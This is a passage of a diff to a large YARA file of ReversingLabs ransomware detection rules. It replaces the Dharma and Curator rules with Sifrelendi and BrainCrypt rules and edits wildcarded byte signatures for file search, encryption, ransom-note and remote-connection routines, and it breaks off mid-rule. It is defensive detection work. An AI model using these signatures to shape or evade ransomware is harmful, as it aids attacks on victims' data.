-            ?? 48 85 C0 74 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 85 C0 74 ?? 48 83 FA ?? 75 ?? 48 8D 0D
-            ?? ?? ?? ?? 48 39 C8 0F 84 ?? ?? ?? ?? 0F B7 08 81 F1 ?? ?? ?? ?? 0F B6 40 ?? 83 F0
-            ?? 66 09 C8 0F 84 ?? ?? ?? ?? 48 8B 4D
+            13 ?? 16 13 ?? 38 ?? ?? ?? ?? 11 ?? 11 ?? 9A 13 ?? 07 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13
+            ?? 2B ?? 11 ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 17 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ??
+            2B ?? 73 ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 6F ?? ?? ?? ?? 7D ?? ?? ?? ?? 11 ?? FE 06 ?? ??
+            ?? ?? 73 ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 19 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 26 DE ??
+            26 DE ?? 11 ?? 6F ?? ?? ?? ?? 2D ?? DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC DE ?? 26
+            DE ?? 11 ?? 6F ?? ?? ?? ?? 2D ?? DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC 07 11 ?? 28
+            ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 2B ?? 73 ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 6F ?? ?? ?? ??
+            7D ?? ?? ?? ?? 11 ?? FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 19 6F ?? ?? ??
+            ?? 6F ?? ?? ?? ?? DE ?? 26 DE ?? 11 ?? 6F ?? ?? ?? ?? 2D ?? DE ?? 11 ?? 2C ?? 11 ?? 6F
+            ?? ?? ?? ?? DC DE ?? 26 DE ?? 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 3F ?? ?? ?? ?? 2A
         }
-		$drop_ransom_note = {
-            8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 95 ?? ?? ?? ?? 48 85 D2 74 ?? 48 8B 8D ?? ??
-            ?? ?? 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 95 ?? ?? ?? ?? 48 85 D2 74 ?? 48 8B 8D
-            ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 95 ?? ?? ?? ?? 48 85 D2 74 ?? 48
-            8B 8D ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 95 ?? ?? ?? ?? 48 85 D2 74
-            ?? 48 8B 8D ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 95 ?? ?? ?? ?? 48 85
-            D2 74 ?? 48 8B 8D ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 95 ?? ?? ?? ??
-            48 85 D2 74 ?? 48 8B 8D ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 95 ?? ??
-            ?? ?? 48 85 D2 74 ?? 48 8B 8D ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 40 84 F6
-            0F 85 ?? ?? ?? ?? 48 8B 55 ?? 48 85 D2 74 ?? 41 B8 ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 48 8B 55 ?? 48 85 D2 74 ?? 41 B8 ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 48 8B 55
+		$remote_connection = {
+            73 ?? ?? ?? ?? 0A 00 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 7E ?? ?? ?? ?? 17 28 ?? ?? ??
+            ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 1C 6F ?? ?? ?? ?? 2B ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ??
+            1C 6F ?? ?? ?? ?? 06 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 20 ?? ?? ?? ?? 28 ??
+            ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 17 0B DE ?? 26 72 ?? ?? ?? ??
+            28 ?? ?? ?? ?? 20 ?? ?? ?? ?? 28 ?? ?? ?? ?? DE ?? 07 2A
         }
 
 	condition:
-		uint16(0)==0x5A4D and ($find_files) and ( all of ($encrypt_files_*)) and ($drop_ransom_note)
+		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ($encrypt_file) and ($aes_encrypt) and ($remote_connection)
 }
 rule REVERSINGLABS_Win32_Ransomware_Termite : TC_DETECTION MALICIOUS MALWARE FILE
 {
@@ -36482,8 +37670,8 @@ rule REVERSINGLABS_Win32_Ransomware_Termite : TC_DETECTION MALICIOUS MALWARE FIL
 		date = "2020-08-31"
 		modified = "2020-08-31"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Termite.yara#L1-L151"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Termite.yara#L1-L151"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "df273de81fc58cb0bacf021ee539ec6dbfa1f1a3e13bd46519ee313595cafb4c"
 		score = 75
 		quality = 90
@@ -36617,18 +37805,18 @@ rule REVERSINGLABS_Win32_Ransomware_Termite : TC_DETECTION MALICIOUS MALWARE FIL
 	condition:
 		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*))
 }
-rule REVERSINGLABS_Win32_Ransomware_Dharma : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Sifrelendi : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Dharma ransomware."
+		description = "Yara rule that detects Sifrelendi ransomware."
 		author = "ReversingLabs"
-		id = "8157b20b-717c-581f-83c1-5fc8d2312238"
+		id = "b9083b7c-eb09-52da-a240-39b51df892f9"
 		date = "2020-07-15"
 		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Dharma.yara#L1-L108"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "6f33281523b462aaff68bb04f2f6869c3e6cd60cd9306ed80bb0c3e3b699f315"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Sifrelendi.yara#L1-L67"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "430d3877c10c86fcb19b5624dd8886d61e54ccd0453678329309b49712c6d5c6"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -36636,108 +37824,64 @@ rule REVERSINGLABS_Win32_Ransomware_Dharma : TC_DETECTION MALICIOUS MALWARE FILE
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Dharma"
+		tc_detection_name = "Sifrelendi"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$file_search = {
-            55 8B EC 83 EC ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ??
-            8B 45 ?? 50 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 8D 4D ?? 51 8B 55
-            ?? 52 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 7D ?? ??
-            75 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 75 ?? 81 7D ?? ?? ?? ?? ?? 76 ?? 8B
-            4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 8B
-            55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D
-            ?? ?? 75 ?? 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52
-            8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ??
-            89 45 ?? 8B 45 ?? 8B E5 5D C3
-        }
-		$file_encrypt_1 = {
-            55 8B EC 81 EC ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45
-            ?? ?? ?? ?? ?? 8B 45 ?? 89 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 83 C1 ?? 89 4D ?? C7 45
-            ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
-            ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 8B 55 ?? 52 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ??
-            ?? 83 C4 ?? 8B 45 ?? 33 D2 B9 ?? ?? ?? ?? F7 F1 8B 45 ?? 2B C2 83 E8 ?? 89 45 ?? 8B
-            4D ?? 51 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 8B 55 ?? 52 E8 ?? ??
-            ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 05 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 83 ?? ??
-            ?? ?? 8B 4D ?? 83 E1 ?? 74 ?? 8B 55 ?? 83 E2 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 6A ??
-            6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ??
-            ?? 0F 84 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 55 ?? 89 55 ?? 8B 45 ?? 89 85 ?? ?? ??
-            ?? 8B 8D ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 6A ?? 8D 55 ?? 52 8B 85 ?? ?? ?? ?? 50 8B 8D
-            ?? ?? ?? ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 75 ??
-            83 7D ?? ?? 0F 84 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85
-            ?? ?? ?? ?? 6A ?? 8D 4D ?? 51 8B 95 ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50 8B 4D ?? 51
-            E8 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ??
-            ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 6A ?? 8B 45 ?? 50 8B 4D
-            ?? 51 8D 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 45 ?? 50 8B 4D ?? 51 8B
-            55 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 83 7D
-            ?? ?? 75 ?? 8B 4D ?? 3B 4D ?? 73 ?? 8B 45 ?? 33 D2 B9 ?? ?? ?? ?? F7 F1 B8 ?? ?? ??
-            ?? 2B C2 89 45 ?? 8B 4D ?? 03 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 8D 8D ?? ?? ?? ?? 51
-            E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 95 ?? ?? ?? ?? 52 8B 45 ?? 03 45 ?? 50 8B 4D ?? 51
-        }
-		$file_encrypt_2 = {
-            8B 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 45 ?? 03 45 ?? 39 85 ?? ?? ?? ??
-            74 ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? 6A ?? 6A ?? 8B 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ??
-            83 C4 ?? 8B 95 ?? ?? ?? ?? C7 42 ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? C7 40 ?? ?? ?? ??
-            ?? 83 7D ?? ?? 74 ?? 8B 8D ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? 8B 55 ?? 52 8B 45 ?? 50
-            8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 03 55 ?? 89 55 ?? 8B 45 ?? 03 45 ?? 89
-            45 ?? 6A ?? 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 83 C0 ?? 89 45
-            ?? 6A ?? 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 83 C0 ?? 89 45 ??
-            6A ?? 8D 8D ?? ?? ?? ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 83 C0 ?? 89
-            45 ?? 6A ?? 8D 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 83 C0 ?? 89 45
-            ?? 68 ?? ?? ?? ?? 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 05 ?? ??
-            ?? ?? 89 45 ?? 6A ?? 8D 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 83 C0
-            ?? 89 45 ?? 6A ?? 8D 8D ?? ?? ?? ?? 51 8B 55 ?? 2B 55 ?? 52 8B 45 ?? 50 8B 8D ?? ??
-            ?? ?? 51 E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 55 ?? 2B 55 ?? 39 95 ?? ?? ?? ?? 74 ?? EB ??
-            EB ?? 8B 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? EB ?? E9 ??
-            ?? ?? ?? 8B 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 7E ?? C7 85 ?? ??
-            ?? ?? ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 8B 8D ?? ??
-            ?? ?? 51 8B 95 ?? ?? ?? ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 4D ?? 51 E8 ?? ?? ?? ??
-            8B 55 ?? 52 E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 7E ?? 8B 45 ?? 50 8B 4D ?? 51 E8 ??
-            ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 E8 ??
-            ?? ?? ?? 83 C4 ?? 8B 85 ?? ?? ?? ?? 8B E5 5D C3
+		$search_files = {
+            E9 ?? ?? ?? ?? EB ?? 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85
+            ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ??
+            33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 7E ?? 8D 85 ?? ?? ??
+            ?? 8B 8D ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? E8
+            ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 33 C0 5A 59 59 64 89 10 68
+            ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 8D 85 ?? ?? ??
+            ?? B9 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? BA ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64
+            89 20 F6 85 ?? ?? ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 74
+            ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 74 ?? 8D 85 ?? ?? ?? ?? 8B 8D ??
+            ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? E8 ?? ?? ?? ??
+            8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ??
+            8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 33 C0 5A 59 59 64 89 10 EB
+            ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ??
+            ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 5F 5E 5B 8B E5 5D
+            C3
         }
-		$enum_shares = {
-            55 8B EC 83 EC ?? C7 45 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45
-            ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 0F 85 ?? ?? ?? ?? 8D 45 ??
-            50 8B 4D ?? 51 6A ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? C7 45 ?? ??
-            ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 55 ?? 52 8B 45 ?? 50 8D 4D ?? 51 8B 55 ?? 52 E8 ??
-            ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? EB ?? 8B 45 ?? 83 C0 ?? 89 45
-            ?? 8B 4D ?? 3B 4D ?? 0F 83 ?? ?? ?? ?? 8B 55 ?? C1 E2 ?? 8B 45 ?? 83 7C 10 ?? ?? 75
-            ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 50 8B 55 ?? 52 8B 45 ?? C1 E0 ?? 8B 4D ?? 8B 54 01 ??
-            52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 6A ?? 8B 45 ?? 50 8B 4D ?? C1 E1 ?? 8B 55 ??
-            8B 44 0A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8B 4D ?? 51 8B 55 ?? C1 E2 ?? 8B 45 ??
-            8B 4C 10 ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? C1 E2 ?? 8B 45 ?? 8B 4C 10 ?? 83 E1
-            ?? 74 ?? 8B 55 ?? 52 8B 45 ?? 50 8B 4D ?? C1 E1 ?? 03 4D ?? 51 E8 ?? ?? ?? ?? 83 C4
-            ?? E9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 55 ??
-            52 E8 ?? ?? ?? ?? 8D 45 ?? 50 8B 4D ?? 51 6A ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 85 C0 0F
-            85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 55 ?? 52 8B 45 ?? 50 8D
-            4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? EB
-            ?? 8B 45 ?? 83 C0 ?? 89 45 ?? 8B 4D ?? 3B 4D ?? 0F 83 ?? ?? ?? ?? 8B 55 ?? C1 E2 ??
-            8B 45 ?? 83 7C 10 ?? ?? 75 ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 50 8B 55 ?? 52 8B 45 ?? C1
-            E0 ?? 8B 4D ?? 8B 54 01 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 6A ?? 8B 45 ?? 50
-            8B 4D ?? C1 E1 ?? 8B 55 ?? 8B 44 0A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8B 4D ?? 51
-            8B 55 ?? C1 E2 ?? 8B 45 ?? 8B 4C 10 ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? C1 E2 ??
-            8B 45 ?? 8B 4C 10 ?? 83 E1 ?? 74 ?? 8B 55 ?? 52 8B 45 ?? 50 8B 4D ?? C1 E1 ?? 03 4D
-            ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
-            ?? E9 ?? ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B E5 5D C3
+		$encrypt_files = {
+            55 8B EC 83 C4 ?? 53 56 57 33 DB 89 5D ?? 89 4D ?? 89 55 ?? 89 45 ?? 8B 45 ?? E8 ??
+            ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64
+            FF 30 64 89 20 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 B2 ?? A1 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 89 45 ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 33 C9 B2 ?? A1 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 8B F8 8B 0D ?? ?? ?? ?? 8B 55 ?? 8B C7 E8 ?? ?? ?? ?? 33 C9 B2
+            ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 8B 0D ?? ?? ?? ?? 8B 55 ?? 8B C6 E8 ?? ?? ??
+            ?? 8B 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 8B 45
+            ?? 8B 10 FF 12 50 8B CB 8B 55 ?? 8B C6 E8 ?? ?? ?? ?? 8B C6 8B 10 FF 52 ?? 6A ?? 6A
+            ?? 8B C3 E8 ?? ?? ?? ?? 8B C3 8B 10 FF 12 50 8B 4D ?? 8B D3 8B C7 E8 ?? ?? ?? ?? 8B
+            C7 8B 10 FF 52 ?? 8B 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ??
+            E8 ?? ?? ?? ?? 8B C3 E8 ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? 8B C7 E8 ?? ?? ?? ?? 8D 45
+            ?? B9 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 8B 45 ?? E8 ??
+            ?? ?? ?? 50 E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 EB ?? E9 ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ??
+            ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 5F 5E 5B 8B E5 5D C3
         }
 
 	condition:
-		uint16(0)==0x5A4D and $file_search and $enum_shares and $file_encrypt_1 and $file_encrypt_2
+		uint16(0)==0x5A4D and ($search_files) and ($encrypt_files)
 }
-rule REVERSINGLABS_Win64_Ransomware_Curator : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Braincrypt : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Curator ransomware."
+		description = "Yara rule that detects BrainCrypt ransomware."
 		author = "ReversingLabs"
-		id = "401f1d64-afd9-55b1-8e87-b808d4679e9a"
-		date = "2021-04-22"
-		modified = "2021-04-22"
+		id = "190798d5-594d-5b80-aa0e-8d7ff167f1c0"
+		date = "2020-07-15"
+		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win64.Ransomware.Curator.yara#L1-L94"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "8bd29195cea0f1194e27c48ed07c52100abb7dd3de2ef7f51a645d32c3527eb3"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.BrainCrypt.yara#L1-L121"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "85866d6ffa136bf3ed27bbab55ae5430af4a1363930ebacab0df9ad24f8734cb"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -36745,86 +37889,119 @@ rule REVERSINGLABS_Win64_Ransomware_Curator : TC_DETECTION MALICIOUS MALWARE FIL
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Curator"
+		tc_detection_name = "BrainCrypt"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$encrypt_files_p1 = {
-            44 8B CB C7 44 24 ?? ?? ?? ?? ?? 45 33 C0 48 8D 8D ?? ?? ?? ?? 33 D2 FF 15 ?? ?? ??
-            ?? 48 8B BD ?? ?? ?? ?? 4C 8D 35 ?? ?? ?? ?? 48 85 FF 0F 84 ?? ?? ?? ?? 48 8B 0D ??
-            ?? ?? ?? 41 8B DC 48 81 C1 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 7E ?? 45 33 F6 48 8B
-            05 ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? BA ?? ?? ?? ?? 41 0F BE 8C 06 ?? ?? ?? ?? 45 0F
-            BE 8C 06 ?? ?? ?? ?? 89 4C 24 ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 D2 48 8D 8D
-            ?? ?? ?? ?? 44 8D 42 ?? E8 ?? ?? ?? ?? 8B CB 4D 8D 76 ?? FF C3 41 83 C4 ?? 88 84 0D
-            ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 48 81 C1 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 44 3B E0 7C
-            ?? 4C 8D 35 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 45 33 E4 48 89 44 24 ?? 48 8D 95 ?? ??
-            ?? ?? 45 33 C9 44 89 64 24 ?? 44 8B C3 48 8B CF FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ??
-            ?? ?? 48 8B 1D ?? ?? ?? ?? 48 8D 4C 24 ?? 48 8B 15 ?? ?? ?? ?? 4C 8B C3 E8 ?? ?? ??
-            ?? 48 8B 8D ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 45 8D 44 24 ??
-            48 89 44 24 ?? 45 33 C9 48 8D 44 24 ?? 89 9D ?? ?? ?? ?? 33 D2 48 89 44 24 ?? FF 15
-            ?? ?? ?? ?? 85 C0 74 ?? 41 8B DC 44 39 A5 ?? ?? ?? ?? 76 ?? 8B C3 4C 8D 05 ?? ?? ??
